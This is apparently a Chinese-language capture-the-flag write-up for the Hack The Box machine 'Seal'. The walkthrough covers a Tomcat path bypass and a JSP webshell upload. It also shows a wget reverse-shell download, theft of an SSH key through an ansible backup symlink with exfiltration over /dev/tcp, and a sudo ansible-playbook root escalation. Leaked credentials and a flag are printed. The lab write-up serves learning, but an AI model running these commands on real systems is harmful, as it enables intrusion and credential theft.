URL: https://app.hackthebox.eu/machines/Seal
IP : 10.10.10.250
Recon
- 凡事都先從 掃 Port 開始
rustscan -a 10.10.10.250 -r 1-65535
- 找到 22 443 8080
nmap -A -p22,443,8080 10.10.10.250
- 443 : nginx 1.18
- 觀察 443 的 HTTPS 憑證
- 網址應該是
seal.htb
- 加到
/etc/hosts
10.10.10.250 seal.htb
- 網址應該是
- 觀察首頁
- 443 port
- 8080 port
- 看起來是一個 Bit Bucket
- 443 port
- 掃目錄
python3 dirsearch.py -u https://seal.htb/
- 發現有一些頁面 302 按進去又 404
- 而且首頁 nmap 明明就說是 nginx 這邊下面錯誤訊息卻跳 Tomcat
- apache tomcat 9.0.31 ??
- nginx 1.18.0
- 觀察 Bitbucket
- 發現可以註冊帳號
meow
/meow
- 成功登入
- 發現可以註冊帳號
Hack Tomcat
- 可以發現原始碼與 Config 檔案都放在這邊
- 在 commit log 中可以找到 tomcat 帳密
tomcat
42MrHBf*z8{Z%
- 在 commit log 中可以找到 tomcat 帳密
- 嘗試進入 Tomcat 後台,卻發現 403
- https://seal.htb/admin/dashboard
- 但發現 Tomcat 的 Status 可以用
- https://seal.htb/manager/status/all
- 繼續翻 nginx 的 config
- 發現他針對 nginx 有設定一個 ssl_client_verify
- 這邊可以用 Orange 曾經介紹過的手法
- 第 48 頁
- 發現他針對 nginx 有設定一個 ssl_client_verify
- 也就是網址透過
..;
截斷- https://seal.htb/manager/status/..;/html
- 就成功進入湯姆貓後台ㄌ!!
- Tomcat 的後臺如果可以進入的話,代表可以上傳 jsp 的 webshell
- 這邊我採用這個
- https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/jsp/cmd.jsp
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
jar -cvf cmd.war cmd.jsp
- 然後在這邊上傳
- 上傳時仍然要注意 Bypass Path 的問題
- Post 的路徑要是
POST /manager/status/..;/html/upload
- 這邊我用 Burp 來處理
- Post 的路徑要是
- 這邊我採用這個
- Web Shell 上傳成功
- https://seal.htb/cmd/cmd.jsp
- 也可以亂輸入指令ㄌ
- 接下來準備 Reverse shell
wget 10.10.16.5:8000/s_HTB -O /tmp/s
- 確定真的有載到
- 準備
nc -vlk 7877
來接 bash /tmp/s
- 成功收到!!
提權
- 發現 user flag 沒有權限
- 發現
/var/www/keys
裡面有一些 key- 不管,先打包回家慢慢看
tar cvf /tmp/keys.tar .
- 用 nc 把檔案送回家
- 發現自簽憑證在裡面!
/var/www/keys/selfsigned-ca.crt;
- 那理論上我們可以用我們的瀏覽器綁自簽憑證ㄇ
- 依照這邊的方法
- https://www.jscape.com/blog/firefox-client-certificate
- QAQ 看起來是不行
- 依照這邊的方法
- 嘗試 Linpeas
- 找到一個很新的備份檔案
/opt/backups/archives/backup-2021-08-14-09:44:35.gz
- 觀察備份檔路徑,發現會備份
/var/lib/tomcat9/webapps/ROOT/admin/dashboard
- 是使用
ansiple-playbook
進行備份的- 可以用 ps 觀察到
- 他是用
luis
的權限執行的
- 這邊可以先注意一下
copy link = yes
- 等一下會運用到
- 觀察
ansible-playbook
/usr/bin/ansible-playbook
- 到
/usr/bin
ls -al | grep ansible-playbook
ls -al | grep ansible
- 發現他會 link 到一個Python 檔案
- 裡面滿複雜的,應該不會要去 Exploit 他ㄅQQ
- 而且相關目錄我們也都沒有權限
- 發現他會 link 到一個Python 檔案
- 開始通靈
- 發現使用者的家目錄有一個
.ssh
- 猜他裡面可能有
id_rsa
可以偷 - 而 ansible-playbook 又可以備份 Link
- 所以我們可以把檔案 soft link 到備份的地方
- 猜他裡面可能有
- 發現使用者的家目錄有一個
- 發現備份的目錄的
uploads
可寫ln -s /home/luis/.ssh/id_rsa id_rsa
- 等待 30 秒產出新的備份檔案
- 用 nc 帶回家
nc -l -p 1234 > backup.gz
cat backup-2021-08-14-10:21:33.gz > /dev/tcp/10.10.16.5/1234
- 用 nc 帶回家
- 發現真的有
id_rsa
- 是 OpenSSH 的 private key
- 是 OpenSSH 的 private key
使用者提權
- 使用 SSH 登入
ssh luis@seal.htb -i id_rsa
- 取得 User Flag
sudo -l
提權起手式- 發現可以使用 ansible-playbook
- GTFOBins 搜尋
- 找到了 ansible-playbook 提權方法
- https://gtfobins.github.io/gtfobins/ansible-playbook/#sudo
TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
sudo ansible-playbook $TF
- 找到了 ansible-playbook 提權方法
- 取得 Root Flag
b4890611a188410400d56e578f30979e
心得
對於湯姆貓還是有一點陌生QQ,包含傳 jsp webshell 等部分,還有目錄截斷之類的也要多研究一下,這一題我覺得除了通靈 id_rsa 之外,整體來講題目滿好玩的!